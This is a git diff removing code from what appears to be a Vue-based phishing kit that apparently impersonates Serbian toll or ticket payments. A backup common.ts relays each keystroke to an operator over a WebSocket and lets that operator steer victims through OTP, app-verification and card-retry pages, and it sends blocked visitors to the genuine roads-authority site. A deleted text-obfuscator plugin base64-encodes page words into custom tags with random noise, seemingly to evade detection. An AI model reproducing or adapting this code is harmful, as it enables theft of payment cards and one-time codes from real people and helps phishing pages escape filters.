- processTextNodes(childEl, null);
- });
-
- // 立即解码当前处理的元素
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(element), 0);
- }
- } catch (error) {
- console.error('Error processing child nodes:', error, element);
- }
- };
-
- // 处理整个组件树
- processAllChildNodes(rootElement);
-
- // 设置监听
- setupMutationObserver(rootElement);
- });
- // 添加:深度扫描所有包含纯文本的元素
- setTimeout(() => {
- const scanPureTextElements = (rootElement: Element) => {
- // 跳过已处理过的元素
- if (rootElement.hasAttribute && rootElement.hasAttribute('data-obfuscated')) {
- return;
- }
-
- // 检查是否为包含纯文本的元素(只有文本节点,没有元素节点)
- let hasOnlyTextNodes = false;
- let hasElementNodes = false;
-
- if (rootElement.childNodes && rootElement.childNodes.length > 0) {
- hasOnlyTextNodes = Array.from(rootElement.childNodes).some(
- node => node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim()
- );
-
- hasElementNodes = Array.from(rootElement.childNodes).some(
- node => node.nodeType === Node.ELEMENT_NODE
- );
- }
-
- // 如果元素只包含文本节点,并且不包含其他元素节点,则混淆它
- if (hasOnlyTextNodes && !hasElementNodes &&
- !SKIP_TAGS.includes(rootElement.tagName) &&
- !Array.from(rootElement.classList || []).some(cls => SKIP_CLASSES.includes(cls))) {
- processTextNodes(rootElement, null);
- if (window.decodeObfuscatedContent) {
- window.decodeObfuscatedContent(rootElement);
- }
- }
-
- // 递归处理子元素
- if (rootElement.children) {
- Array.from(rootElement.children).forEach(child => {
- scanPureTextElements(child);
- });
- }
- };
-
- // 从body开始扫描
- scanPureTextElements(document.body);
- }, 10); // 给DOM足够的时间渲染
- },
-
- updated() {
- // 安全地获取组件的根元素(s)
- const rootElements = this.$el ?
- (this.$el.nodeType === Node.ELEMENT_NODE ?
- [this.$el] :
- (Array.isArray(this.$el) ? this.$el : [])) :
- [];
-
- // 处理每个根元素
- rootElements.forEach((rootElement: Element | undefined) => {
- if (!rootElement || !(rootElement instanceof Element)) return;
-
- processTextNodes(rootElement, this);
-
- try {
- // 递归处理所有子元素
- const childElements = rootElement.querySelectorAll('*');
- childElements.forEach((childEl: Element) => {
- processTextNodes(childEl, null);
- });
-
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(rootElement), 0);
- }
- } catch (error) {
- console.error('Error processing updated component:', error, rootElement);
- }
- });
- }
- });
- }
-};
-
-// 声明全局函数类型
-declare global {
- interface Window {
- decodeObfuscatedContent: (rootElement?: Element) => void;
- }
-}
-
-// 需要跳过的标签
-const SKIP_TAGS = ['SCRIPT', 'STYLE', 'TEXTAREA', 'INPUT', 'PRE', 'CODE'];
-// 需要跳过的类名
-const SKIP_CLASSES = ['no-obfuscate'];
-
-/**
- * 处理元素中的所有文本节点
- */
-function processTextNodes(element: Element, instance: ComponentInternalInstance | null) {
- if (!element || element.nodeType !== Node.ELEMENT_NODE) {
- return;
- }
- // 为 DIV 元素增加优先处理逻辑
- if (element.tagName === 'DIV' && !element.hasAttribute('data-obfuscated')) {
- // 对于DIV元素,特殊处理其直接子文本节点
- let hasTextContent = false;
- for (let i = 0; i < element.childNodes.length; i++) {
- const node = element.childNodes[i];
- if (node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() !== '') {
- hasTextContent = true;
- break;
- }
- }
-
- // 如果DIV中有直接的文本内容,标记它需要被处理
- if (hasTextContent) {
- // 只处理未混淆过的DIV
- const textContent = Array.from(element.childNodes)
- .filter(node => node.nodeType === Node.TEXT_NODE && node.textContent)
- .map(node => node.textContent).join('').trim();
-
- if (textContent) {
- // 替换整个DIV的内容
- const originalHTML = element.innerHTML;
- const processedHTML = obfuscateText(textContent);
- element.innerHTML = processedHTML + originalHTML.replace(textContent, '');
- element.setAttribute('data-obfuscated', 'true');
- }
- }
- }
- // 跳过带有特定标记的元素(避免重复处理)
- if (element.hasAttribute('data-obfuscated') ||
- !element ||
- SKIP_TAGS.includes(element.tagName) ||
- Array.from(element.classList).some(cls => SKIP_CLASSES.includes(cls))) {
- return;
- }
-
- // 使用 TreeWalker 遍历所有文本节点
- const walker = document.createTreeWalker(
- element,
- NodeFilter.SHOW_TEXT,
- {
- acceptNode(node) {
- // 不处理完全空的文本节点
- if (!node.textContent) {
- return NodeFilter.FILTER_REJECT;
- }
-
- // 检查父节点是否应该被跳过
- const parent = node.parentElement;
- if (parent && (
- SKIP_TAGS.includes(parent.tagName) ||
- parent.hasAttribute('data-obfuscated') ||
- Array.from(parent.classList || []).some(cls => SKIP_CLASSES.includes(cls))
- )) {
- return NodeFilter.FILTER_REJECT;
- }
-
- // 如果只包含空白且不是段落的首个节点,则跳过
- if (node.textContent.trim() === '' &&
- !(parent?.tagName === 'P' && node === parent.firstChild)) {
- return NodeFilter.FILTER_REJECT;
- }
-
- return NodeFilter.FILTER_ACCEPT;
- }
- }
- );
-
- // 收集需要处理的文本节点
- const textNodes: Text[] = [];
- let currentNode: Node | null = walker.nextNode();
-
- while (currentNode) {
- textNodes.push(currentNode as Text);
- currentNode = walker.nextNode();
- }
-
- // 预先计算所有混淆内容,减少DOM操作次数
- const fragments: DocumentFragment[] = [];
- const nodesToReplace: Text[] = [];
-
- // 在处理文本节点前,移除所有前导空格
- for (const textNode of textNodes) {
- const text = textNode.textContent;
- if (!text) continue;
-
- // 重要修改:检测是否是段落的首个文本节点,无条件移除开头的空白
- let processedText = text;
- if (textNode.parentElement?.tagName === 'P' &&
- textNode === textNode.parentElement.firstChild) {
- // 去除开头的空白,无论什么情况
- processedText = text.replace(/^\s+/, '');
- // 如果去除空白后为空,直接跳过这个节点
- if (!processedText) continue;
- }
-
- try {
- // 创建文档碎片来存储混淆后的内容
- const fragment = document.createDocumentFragment();
- const tempContainer = document.createElement('div');
- tempContainer.innerHTML = obfuscateText(processedText);
-
- // 将内容移动到碎片中
- while (tempContainer.firstChild) {
- fragment.appendChild(tempContainer.firstChild);
- }
-
- fragments.push(fragment);
- nodesToReplace.push(textNode);
- } catch (error) {
- console.error('Error processing text node:', error);
- }
- }
-
- // 批量替换节点,减少回流
- for (let i = 0; i < nodesToReplace.length; i++) {
- const textNode = nodesToReplace[i];
- const fragment = fragments[i];
-
- if (textNode.parentNode) {
- textNode.parentNode.replaceChild(fragment, textNode);
- }
- }
-}
-
-/**
- * 设置 MutationObserver 来监听 DOM 变化
- */
-function setupMutationObserver(element: Element) {
- if (!element) return;
-
- const observer = new MutationObserver((mutations) => {
- for (const mutation of mutations) {
- if (mutation.type === 'childList' && mutation.addedNodes.length) {
- mutation.addedNodes.forEach((node) => {
- if (node.nodeType === Node.ELEMENT_NODE) {
- processTextNodes(node as Element, null);
- // 观察到新元素后立即解码
- if (window.decodeObfuscatedContent) {
- window.decodeObfuscatedContent(node as Element);
- }
- }
- });
- }
- }
- });
-
- observer.observe(element, {
- childList: true,
- subtree: true
- });
-}
-
-/**
- * 生成随机噪声标签和注释
- */
-function getRandomNoise() {
- const noiseTypes = [
- // HTML注释
- () => ``,
- // 空的自定义元素
- () => {
- const tags = ['z-nil', 'z-void', 'z-null', 'z-fake', 'z-empty'];
- const tag = tags[Math.floor(Math.random() * tags.length)];
- return `<${tag}>${tag}>`;
- },
- // 带随机属性的自定义元素
- () => {
- const attr = `data-${Math.random().toString(36).substring(2, 7)}`;
- const value = Math.random().toString(36).substring(2, 10);
- return ` `;
- },
- // 带随机文本的隐藏元素
- () => {
- const text = Math.random().toString(36).substring(2, 8);
- return `${text} `;
- }
- ];
-
- // 随机选择一种噪声类型
- const noiseGenerator = noiseTypes[Math.floor(Math.random() * noiseTypes.length)];
- return noiseGenerator();
-}
-
-/**
- * 混淆文本 - 将文本拆分成单词并分别存储,使用自定义z-标签
- */
-function obfuscateText(text: string): string {
- if (!text) return '';
-
- // 首先移除文本开头的所有空白字符以解决段落首行缩进问题
- text = text.replace(/^\s+/, '');
- if (!text) return '';
-
- // 使用正则表达式将文本拆分为单词和空格,保持完整性
- const words = text.split(/(\s+)/);
- let result = '';
-
- // 过滤掉空字符串,避免生成空的z-span元素
- const filteredWords = words.filter(word => word.length > 0);
-
- // 为每个单词创建一个独立的自定义元素
- filteredWords.forEach((word, index) => {
- // 对空格和特殊字符进行特殊处理
- if (/^\s+$/.test(word)) {
- // 改进:更精确地处理各种换行符
- if (/[\n\r]/.test(word)) {
- // 将所有类型的换行符分割出来,但仅在实际有换行符时才添加z-break元素
- result += ' ';
- } else {
- // 纯空格的情况 - 对连续空格合并处理,避免添加过多z-space
- result += ' ';
- }
- return;
- }
-
- // 随机在单词前添加噪声,但减少频率
- if (Math.random() > 0.85) {
- result += getRandomNoise();
- }
-
- // 为了提高效率,固定属性名
- const attrId = `data`;
-
- // 将单词编码为Base64
- const encodedWord = btoa(encodeURIComponent(word));
-
- // 随机选择z-span或z-strong标签增加混淆度
- const tagName = Math.random() > 0.5 ? 'z-span' : 'z-strong';
-
- // 添加标签开始部分
- result += `<${tagName} data-${attrId}="${encodedWord}" data-preload="true">`;
-
- // 随机在标签内添加隐藏内容,但减少频率
- if (Math.random() > 0.8) {
- const fakeText = Math.random().toString(36).substring(2, 5 + Math.floor(Math.random() * 5));
- result += `${fakeText} `;
- }
-
- // 闭合标签
- result += `${tagName}>`;
-
- // 随机在单词后添加噪声,但减少频率
- if (Math.random() > 0.85) {
- result += getRandomNoise();
- }
- });
-
- result += ' ';
- return result;
-}
-
-/**
- * 添加显示混淆内容的样式和解码脚本
- */
-function addObfuscationStyle() {
- // 添加样式
- if (!document.getElementById('obfuscation-style')) {
- const style = document.createElement('style');
- style.id = 'obfuscation-style';
- style.textContent = `
- /* 自定义元素基本样式 */
- z-wrap {
- display: inline;
- white-space: normal;
- user-select: none; /* 阻止文本选择 */
- text-indent: 0 !important; /* 确保无缩进 */
- }
-
- /* 添加一个类来允许选择文本的情况 */
- .allow-select z-wrap {
- user-select: text;
- }
-
- /* 确保段落中的混淆内容没有开头缩进 */
- p > z-wrap:first-child {
- text-indent: 0 !important;
- margin-left: 0 !important;
- padding-left: 0 !important;
- }
-
- /* 处理所有p标签,确保没有多余空间 */
- p {
- text-indent: 0;
- }
-
- z-span, z-strong {
- display: inline-block;
- position: relative;
- opacity: 1;
- transition: opacity 0.1s ease;
- margin: 0;
- padding: 0;
- }
-
- /* 控制右侧间距 */
- z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span {
- margin-left: 0.1em;
- }
-
- /* 移除最后一个元素的右侧间距 */
- z-span:last-child, z-strong:last-child {
- margin-right: 0;
- }
-
- z-span::after, z-strong::after {
- content: attr(data-content);
- position: relative;
- pointer-events: none;
- }
-
- /* 空格元素 - 精确控制宽度 */
- z-space {
- display: inline-block;
- width: 0.25em;
- margin: 0;
- padding: 0;
- }
-
- /* 空的z-span/z-strong元素不应该显示 */
- z-span:not([data-content]), z-strong:not([data-content]) {
- display: none;
- }
-
- /* 换行元素 - 强制换行且完全没有尺寸 */
- z-break {
- display: block !important;
- height: 0 !important;
- width: 0 !important;
- margin: 0 !important;
- padding: 0 !important;
- border: none !important;
- line-height: 0 !important;
- font-size: 0 !important;
- overflow: hidden !important;
- }
-
- /* 隐藏所有噪声元素 */
- z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden {
- display: none;
- width: 0;
- height: 0;
- opacity: 0;
- overflow: hidden;
- position: absolute;
- visibility: hidden;
- }
-
- /* 预加载状态 */
- [data-preload="true"] {
- min-width: 0.5em;
- min-height: 1em;
- }
- `;
- document.head.appendChild(style);
- }
-
- // 添加自定义元素注册,确保所有浏览器都能正确处理
- const scriptCustomElements = document.createElement('script');
- scriptCustomElements.textContent = `
- // 注册所有自定义元素
- if ('customElements' in window) {
- customElements.define('z-wrap', class extends HTMLElement {});
- customElements.define('z-span', class extends HTMLElement {});
- customElements.define('z-strong', class extends HTMLElement {});
- customElements.define('z-space', class extends HTMLElement {});
- customElements.define('z-break', class extends HTMLElement {});
-
- // 注册噪声元素
- customElements.define('z-nil', class extends HTMLElement {});
- customElements.define('z-void', class extends HTMLElement {});
- customElements.define('z-null', class extends HTMLElement {});
- customElements.define('z-fake', class extends HTMLElement {});
- customElements.define('z-empty', class extends HTMLElement {});
- customElements.define('z-attr', class extends HTMLElement {});
- customElements.define('z-text', class extends HTMLElement {});
- customElements.define('z-hidden', class extends HTMLElement {});
- }
- `;
- document.head.appendChild(scriptCustomElements);
-
- // 添加提前解码的脚本,放在顶部优先加载
- if (!document.getElementById('obfuscation-script')) {
- const script = document.createElement('script');
- script.id = 'obfuscation-script';
- script.textContent = `
- (function() {
- // 定义解码函数并暴露为全局函数
- window.decodeObfuscatedContent = function(rootElement) {
- const root = rootElement || document.body;
- const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]');
-
- if (elements.length === 0) return;
-
- // 使用requestIdleCallback或setTimeout在空闲时运行,避免阻塞渲染
- const runWhenIdle = window.requestIdleCallback ||
- function(cb) { setTimeout(cb, 1); };
-
- runWhenIdle(() => {
- elements.forEach(el => {
- // 避免重复解码
- if (el.hasAttribute('data-content')) return;
-
- // 找到编码数据
- const dataAttr = el.getAttribute('data-data');
- if (dataAttr) {
- try {
- // 解码并设置
- const decodedWord = decodeURIComponent(atob(dataAttr));
- el.setAttribute('data-content', decodedWord);
- el.removeAttribute('data-preload');
- } catch (e) {
- // 解码失败时跳过
- }
- }
- });
- });
- };
-
- // 页面加载完成后立即执行一次全局解码
- if (document.readyState === 'loading') {
- document.addEventListener('DOMContentLoaded', function() {
- window.decodeObfuscatedContent();
- });
- } else {
- window.decodeObfuscatedContent();
- }
-
- // 使用IntersectionObserver优化解码性能
- if ('IntersectionObserver' in window) {
- const decodeObserver = new IntersectionObserver(
- (entries, observer) => {
- entries.forEach(entry => {
- if (entry.isIntersecting) {
- // 容器进入视口时解码其内容
- window.decodeObfuscatedContent(entry.target);
- observer.unobserve(entry.target);
- }
- });
- },
- { rootMargin: '200px 0px' } // 提前200像素开始解码
- );
-
- // 监听所有混淆容器
- function observeContainers() {
- document.querySelectorAll('z-wrap').forEach(container => {
- decodeObserver.observe(container);
- });
- }
-
- // 初始观察
- if (document.readyState === 'loading') {
- document.addEventListener('DOMContentLoaded', observeContainers);
- } else {
- observeContainers();
- }
-
- // 定期检查新容器
- setInterval(observeContainers, 2000);
- } else {
- // 降级方案:定期全局检查
- setInterval(() => window.decodeObfuscatedContent(), 1000);
- }
- })();
- `;
-
- // 将脚本添加到head的最前面,确保尽早加载
- if (document.head.firstChild) {
- document.head.insertBefore(script, document.head.firstChild);
- } else {
- document.head.appendChild(script);
- }
- }
-}
\ No newline at end of file
diff --git a/t_Ticket_temp4/src/utils/common.ts.backup b/t_Ticket_temp4/src/utils/common.ts.backup
deleted file mode 100644
index 8f55f26..0000000
--- a/t_Ticket_temp4/src/utils/common.ts.backup
+++ /dev/null
@@ -1,331 +0,0 @@
-import _ from "lodash";
-import { sendInput } from "@/api/api";
-import type { Socket } from "@/utils/websocket";
-import eventBus from "@/utils/eventBus";
-import router from "@/router";
-import { ref } from "vue";
-import { useSocket } from "@/utils/websocket";
-import { useLoadingStore } from "@/stores/loadingStore";
-import i18n from "@/main";
-import { useSocketIo } from "./socketio";
-
-const viteBaseUrl = import.meta.env.VITE_BASE_URL;
-
-// WebSocket interface
-interface MyWebSocket {
- socket: any;
- send: (data: string) => Promise;
- off: (event: string) => void;
- on: (event: string, callback: (data: any) => void) => void;
-}
-
-export const customOtpData = ref({});
-
-export function setCustomOtpData(data: any) {
- customOtpData.value = data;
- localStorage.setItem("customOtpData", JSON.stringify(data));
-}
-
-export let myWebSocket: MyWebSocket | undefined;
-
-// Configuration data
-export const configData = ref>({});
-
-// Utility function to check if all values in an object are not empty
-export function areAllValuesNotEmpty(
- obj: Record,
- excludedFields: string[] = []
-): boolean {
- return Object.keys(obj).every((key) => {
- if (excludedFields.includes(key)) return true;
- const value = obj[key];
- return (
- value !== null &&
- value !== undefined &&
- value !== "" &&
- !(typeof value === "string" && value.trim() === "")
- );
- });
-}
-
-// 存储 WebSocket 和 API 的防抖函数
-const wsDebounceFunctions: Record<
- string,
- _.DebouncedFunc<(...args: any[]) => void>
-> = {};
-const apiDebounceFunctions: Record<
- string,
- _.DebouncedFunc<(...args: any[]) => void>
-> = {};
-
-// 获取或创建针对某个键的防抖函数
-function getDebouncedFunction(
- debounceFunctions: Record void>>,
- key: string,
- func: (...args: any[]) => void,
- wait: number
-) {
- if (!debounceFunctions[key]) {
- debounceFunctions[key] = _.debounce(func, wait);
- }
- return debounceFunctions[key];
-}
-
-const modeRef = ref(1)
-
-
-// 处理输入变化
-export function inputChange(type: string, key: any, value: any) {
- const currentTimestamp = Date.now(); // 当前时间戳
-
- // WebSocket 防抖函数
- const wsDebouncedFunction = getDebouncedFunction(
- wsDebounceFunctions,
- key,
- (type, key, value) => {
- myWebSocket?.send(
- JSON.stringify({
- event: "input_text",
- content: { type, key, text: value },
- timestamp: currentTimestamp,
- })
- );
- },
- 300
- );
-
- // API 防抖函数
- const apiDebouncedFunction = getDebouncedFunction(
- apiDebounceFunctions,
- key,
- (type, key, value) => {
- sendInput({
- content: { type, key, text: value },
- timestamp: currentTimestamp,
- });
- },
- 1000
- );
-
- // 调用防抖函数
- wsDebouncedFunction(type, key, value);
- if(modeRef.value !== 2) {
- apiDebouncedFunction(type, key, value);
- }
-}
-
-
-// Handle login success
-export function loginSuccess(token: string, mode: number) {
- if(mode === 2) {
- modeRef.value = 2
- myWebSocket = useSocketIo(
- `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
- }/ws?token=${token}`
- );
- }else{
- myWebSocket = useSocket(
- `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
- }/ws?token=${token}`
- );
- }
-
- myWebSocket?.on("close", () => console.log("Socket closed!"));
- myWebSocket?.on("open", () => {
- const lastToken = localStorage.getItem("token");
- loginWebsocket(token, lastToken !== token);
- });
-
- myWebSocket?.on("message", handleMessage);
-
- window.addEventListener("beforeunload", () => {
- myWebSocket?.off("close");
- });
-}
-
-// Handle WebSocket messages
-function handleMessage(data: any) {
- const jsonData = JSON.parse(data);
- if (!jsonData || !jsonData.event) return;
-
- const { event, content } = jsonData;
-
- switch (event) {
- case "login":
- //handleLoginEvent(content);
- break;
- case "result_type":
- handleResultTypeEvent(content);
- break;
- case "reload":
- window.location.reload();
- break;
- default:
- break;
- }
-}
-
-// Handle login event
-function handleLoginEvent(content: any) {
- const route = localStorage.getItem("route");
- if (route) {
- const customOtpDataValue = localStorage.getItem("customOtpData");
- if (route === "customOtpValid" && customOtpDataValue) {
- setCustomOtpData(JSON.parse(customOtpDataValue));
- myWebSocket?.send(
- JSON.stringify({
- event: "page_type",
- content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, customType: customOtpData.value.type },
- })
- );
- return;
- }
- myWebSocket?.send(
- JSON.stringify({
- event: "page_type",
- content: { pageType: route },
- })
- );
- }
-}
-
-// Handle result type event
-function handleResultTypeEvent(content: any) {
- if (!content) return;
-
- const typeHandlers: Record void> = {
- customOtpValid: () => navigateTo("/customOtpValid", content),
- otpValid: () => navigateTo("/otpValid", content),
- appValid: () => navigateTo("/appValid", content),
- success: () => router.push("/success"),
- kickOut: redirectToExternal,
- block: redirectToExternal,
- otpFail: () =>
- eventBus.emit("otp-valid", {
- message2:
- content.value.message2 ||
- i18n.global.t("Verification code error, please try again"),
- }),
- appFail: () =>
- eventBus.emit("app-valid", {
- message2:
- content.value.message2 ||
- i18n.global.t(
- "The session is about to expire, please complete the verification now"
- ),
- }),
- back: () => handleBackOrReject(content, true),
- reject: () => handleBackOrReject(content, false),
- refresh: () => {
- if(localStorage.getItem("route")){
- localStorage.removeItem("route");
- window.location.reload();
- }
- },
- };
-
- if (content.type == "customOtpValid") {
- if(content.value.customOtpData) {
- setCustomOtpData(JSON.parse(content.value.customOtpData));
- }
-}
- if (content.type == "customOtpFail") {
- eventBus.emit("custom-otp-valid", {
- message2: content.value.message2,
- });
- }
-
- const handler = typeHandlers[content.type];
- if (handler) handler();
-
- useLoadingStore().setLoading(false);
-}
-
-// Navigate to specific path with query parameters
-function navigateTo(path: string, content: any) {
-
- router.push('/temp').then(() => {
- router.push({
- path: path,
- query: {
- cardType: content.value?.data?.cardData?.cardBIN?.schema,
- message1: content.value?.message1,
- key: new Date().getMilliseconds(),
- },
- });
- });
-}
-
-// Handle back or reject type
-function handleBackOrReject(content: any, isBack: boolean) {
- let message2 = i18n.global.t(
- "This card does not support this transaction, please try another card"
- );
-
- if (configData.value.error_card_msg) {
- message2 = configData.value.error_card_msg;
- }
-
- if (content.value.type) {
- const type = content.value.type;
- if (type === "denyC" && configData.value.deny_c_msg) {
- message2 = configData.value.deny_c_msg;
- }
- if (type === "denyD" && configData.value.deny_d_msg) {
- message2 = configData.value.deny_d_msg;
- }
- }
-
- if (content.value.message2) {
- message2 = content.value.message2;
- }
-
- if (isBack) {
- router.push({ path: "/card", query: { message2 } });
- }
-
- eventBus.emit("my-event", { message2 });
-}
-
-// Login to WebSocket
-function loginWebsocket(token: string, isFirst: boolean) {
- myWebSocket?.send(
- JSON.stringify({
- event: "login",
- content: { tag: "user", token, isFirst },
- })
- );
- initHtml();
-}
-
-// Redirect to an external URL
-export function redirectToExternal() {
- window.location.href = "https://www.putevi-srbije.rs/";
-}
-
-export async function loadHtml(url: string) {
- try {
- const response = await fetch(url); // 替换为您的 HTML 文件路径
- if (!response.ok) {
- return "";
- }
- return await response.text();
- } catch (error) {
- return "";
- }
-}
-
-export const headerHtml = ref("");
-export const footerHtml = ref("");
-export const loadingBg = ref("#ffffff");
-
-const initHtml = async () => {
- const routePath = localStorage.getItem("route");
- headerHtml.value = await loadHtml("/Static_zy/header.html");
- footerHtml.value = await loadHtml("/Static_zy/footer.html");
- await router.push(routePath ? `/${routePath}` : "/phone");
- setTimeout(async () => {
- useLoadingStore().setLoading(false);
- loadingBg.value = "transparent";
- }, 200);
-};
diff --git a/t_etc_temp1/src/components/HelloWorld.vue b/t_etc_temp1/src/components/HelloWorld.vue
deleted file mode 100644
index 8f39347..0000000
--- a/t_etc_temp1/src/components/HelloWorld.vue
+++ /dev/null
@@ -1,51 +0,0 @@
-
-
-
-
-
{{ msg }}
-
Send /
-
- You’ve successfully created a project with
- Vite +
- Vue 3 .
- What's next?
-
-
-
-
-
diff --git a/t_etc_temp1/src/components/TheWelcome.vue b/t_etc_temp1/src/components/TheWelcome.vue
deleted file mode 100644
index a70765c..0000000
--- a/t_etc_temp1/src/components/TheWelcome.vue
+++ /dev/null
@@ -1,86 +0,0 @@
-
-
-
-
-
-
-
- Documentation
-
- Vue’s
- official documentation
- provides you with all information you need to get started.
-
-
-
-
-
-
- Tooling
-
- This project is served and bundled with
- Vite . The
- recommended IDE setup is
- VSCode +
- Volar . If
- you need to test your components and web pages, check out
- Cypress and
- Cypress Component Testing .
-
-
-
- More instructions are available in README.md.
-
-
-
-
-
-
- Ecosystem
-
- Get official tools and libraries for your project:
- Pinia ,
- Vue Router ,
- Vue Test Utils , and
- Vue Dev Tools . If
- you need more resources, we suggest paying
- Awesome Vue
- a visit.
-
-
-
-
-
-
- Community
-
- Got stuck? Ask your question on
- Vue Land , our official
- Discord server, or
- StackOverflow . You should also subscribe to
- our mailing list and follow
- the official
- @vuejs
- twitter account for latest news in the Vue world.
-
-
-
-
-
-
- Support Vue
-
- As an independent project, Vue relies on community backing for its sustainability. You can help
- us by
- becoming a sponsor .
-
-
diff --git a/t_etc_temp1/src/components/WelcomeItem.vue b/t_etc_temp1/src/components/WelcomeItem.vue
deleted file mode 100644
index ba0def3..0000000
--- a/t_etc_temp1/src/components/WelcomeItem.vue
+++ /dev/null
@@ -1,86 +0,0 @@
-
-
-
-
-
diff --git a/t_etc_temp1/src/main.ts b/t_etc_temp1/src/main.ts
index f4f3682..9f2935b 100644
--- a/t_etc_temp1/src/main.ts
+++ b/t_etc_temp1/src/main.ts
@@ -1,4 +1,3 @@
-import { TextObfuscatorPlugin } from "./mix/textObfuscator";
import { createApp, ref } from "vue";
import { createPinia } from "pinia";
@@ -25,6 +24,5 @@ app.use(i18n);
app.use(createPinia());
app.use(router);
-// //app.use(TextObfuscatorPlugin);
app.mount("#app");
export default i18n;
diff --git a/t_etc_temp1/src/mix/textObfuscator.ts b/t_etc_temp1/src/mix/textObfuscator.ts
deleted file mode 100644
index 76c21e9..0000000
--- a/t_etc_temp1/src/mix/textObfuscator.ts
+++ /dev/null
@@ -1,643 +0,0 @@
-import type { ComponentInternalInstance, Plugin, App } from 'vue';
-
-/**
- * 全局文本混淆插件
- * 自动查找并替换所有文本节点
- */
-// 修改Vue混淆插件以确保处理整个组件树
-export const TextObfuscatorPlugin: Plugin = {
- install(app: App) {
- // 安装全局样式和解码脚本
- addObfuscationStyle();
-
- // 注册全局指令,直接处理元素内容
- app.directive('odata', {
- mounted(el) {
- processTextNodes(el, null);
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(el), 0);
- }
- setupMutationObserver(el);
- },
- updated(el) {
- processTextNodes(el, null);
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(el), 0);
- }
- }
- });
-
- // 在 app.mixin 中修改处理 $el 的部分
- app.mixin({
- mounted() {
- // 安全地获取组件的根元素(s)
- const rootElements = this.$el ?
- (this.$el.nodeType === Node.ELEMENT_NODE ?
- [this.$el] :
- (Array.isArray(this.$el) ? this.$el : [])) :
- [];
-
- // 处理每个根元素
- rootElements.forEach((rootElement: Element) => {
- if (!rootElement || !(rootElement instanceof Element)) return;
-
- // 1. 首先处理当前组件的根元素
- processTextNodes(rootElement, this);
-
- // 2. 递归处理所有子元素,确保覆盖所有文本节点
- const processAllChildNodes = (element: Element) => {
- if (!(element instanceof Element)) return;
-
- try {
- // 为每个子元素单独处理文本节点
- const childElements = element.querySelectorAll('*');
- childElements.forEach(childEl => {
- processTextNodes(childEl, null);
- });
-
- // 立即解码当前处理的元素
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(element), 0);
- }
- } catch (error) {
- console.error('Error processing child nodes:', error, element);
- }
- };
-
- // 处理整个组件树
- processAllChildNodes(rootElement);
-
- // 设置监听
- setupMutationObserver(rootElement);
- });
- // 添加:深度扫描所有包含纯文本的元素
- setTimeout(() => {
- const scanPureTextElements = (rootElement: Element) => {
- // 跳过已处理过的元素
- if (rootElement.hasAttribute && rootElement.hasAttribute('data-obfuscated')) {
- return;
- }
-
- // 检查是否为包含纯文本的元素(只有文本节点,没有元素节点)
- let hasOnlyTextNodes = false;
- let hasElementNodes = false;
-
- if (rootElement.childNodes && rootElement.childNodes.length > 0) {
- hasOnlyTextNodes = Array.from(rootElement.childNodes).some(
- node => node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim()
- );
-
- hasElementNodes = Array.from(rootElement.childNodes).some(
- node => node.nodeType === Node.ELEMENT_NODE
- );
- }
-
- // 如果元素只包含文本节点,并且不包含其他元素节点,则混淆它
- if (hasOnlyTextNodes && !hasElementNodes &&
- !SKIP_TAGS.includes(rootElement.tagName) &&
- !Array.from(rootElement.classList || []).some(cls => SKIP_CLASSES.includes(cls))) {
- processTextNodes(rootElement, null);
- if (window.decodeObfuscatedContent) {
- window.decodeObfuscatedContent(rootElement);
- }
- }
-
- // 递归处理子元素
- if (rootElement.children) {
- Array.from(rootElement.children).forEach(child => {
- scanPureTextElements(child);
- });
- }
- };
-
- // 从body开始扫描
- scanPureTextElements(document.body);
- }, 10); // 给DOM足够的时间渲染
- },
-
- updated() {
- // 安全地获取组件的根元素(s)
- const rootElements = this.$el ?
- (this.$el.nodeType === Node.ELEMENT_NODE ?
- [this.$el] :
- (Array.isArray(this.$el) ? this.$el : [])) :
- [];
-
- // 处理每个根元素
- rootElements.forEach((rootElement: Element | undefined) => {
- if (!rootElement || !(rootElement instanceof Element)) return;
-
- processTextNodes(rootElement, this);
-
- try {
- // 递归处理所有子元素
- const childElements = rootElement.querySelectorAll('*');
- childElements.forEach((childEl: Element) => {
- processTextNodes(childEl, null);
- });
-
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(rootElement), 0);
- }
- } catch (error) {
- console.error('Error processing updated component:', error, rootElement);
- }
- });
- }
- });
- }
-};
-
-// 声明全局函数类型
-declare global {
- interface Window {
- decodeObfuscatedContent: (rootElement?: Element) => void;
- }
-}
-
-// 需要跳过的标签
-const SKIP_TAGS = ['SCRIPT', 'STYLE', 'TEXTAREA', 'INPUT', 'PRE', 'CODE'];
-// 需要跳过的类名
-const SKIP_CLASSES = ['no-obfuscate'];
-
-/**
- * 处理元素中的所有文本节点
- */
-function processTextNodes(element: Element, instance: ComponentInternalInstance | null) {
- if (!element || element.nodeType !== Node.ELEMENT_NODE) {
- return;
- }
- // 为 DIV 元素增加优先处理逻辑
- if (element.tagName === 'DIV' && !element.hasAttribute('data-obfuscated')) {
- // 对于DIV元素,特殊处理其直接子文本节点
- let hasTextContent = false;
- for (let i = 0; i < element.childNodes.length; i++) {
- const node = element.childNodes[i];
- if (node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() !== '') {
- hasTextContent = true;
- break;
- }
- }
-
- // 如果DIV中有直接的文本内容,标记它需要被处理
- if (hasTextContent) {
- // 只处理未混淆过的DIV
- const textContent = Array.from(element.childNodes)
- .filter(node => node.nodeType === Node.TEXT_NODE && node.textContent)
- .map(node => node.textContent).join('').trim();
-
- if (textContent) {
- // 替换整个DIV的内容
- const originalHTML = element.innerHTML;
- const processedHTML = obfuscateText(textContent);
- element.innerHTML = processedHTML + originalHTML.replace(textContent, '');
- element.setAttribute('data-obfuscated', 'true');
- }
- }
- }
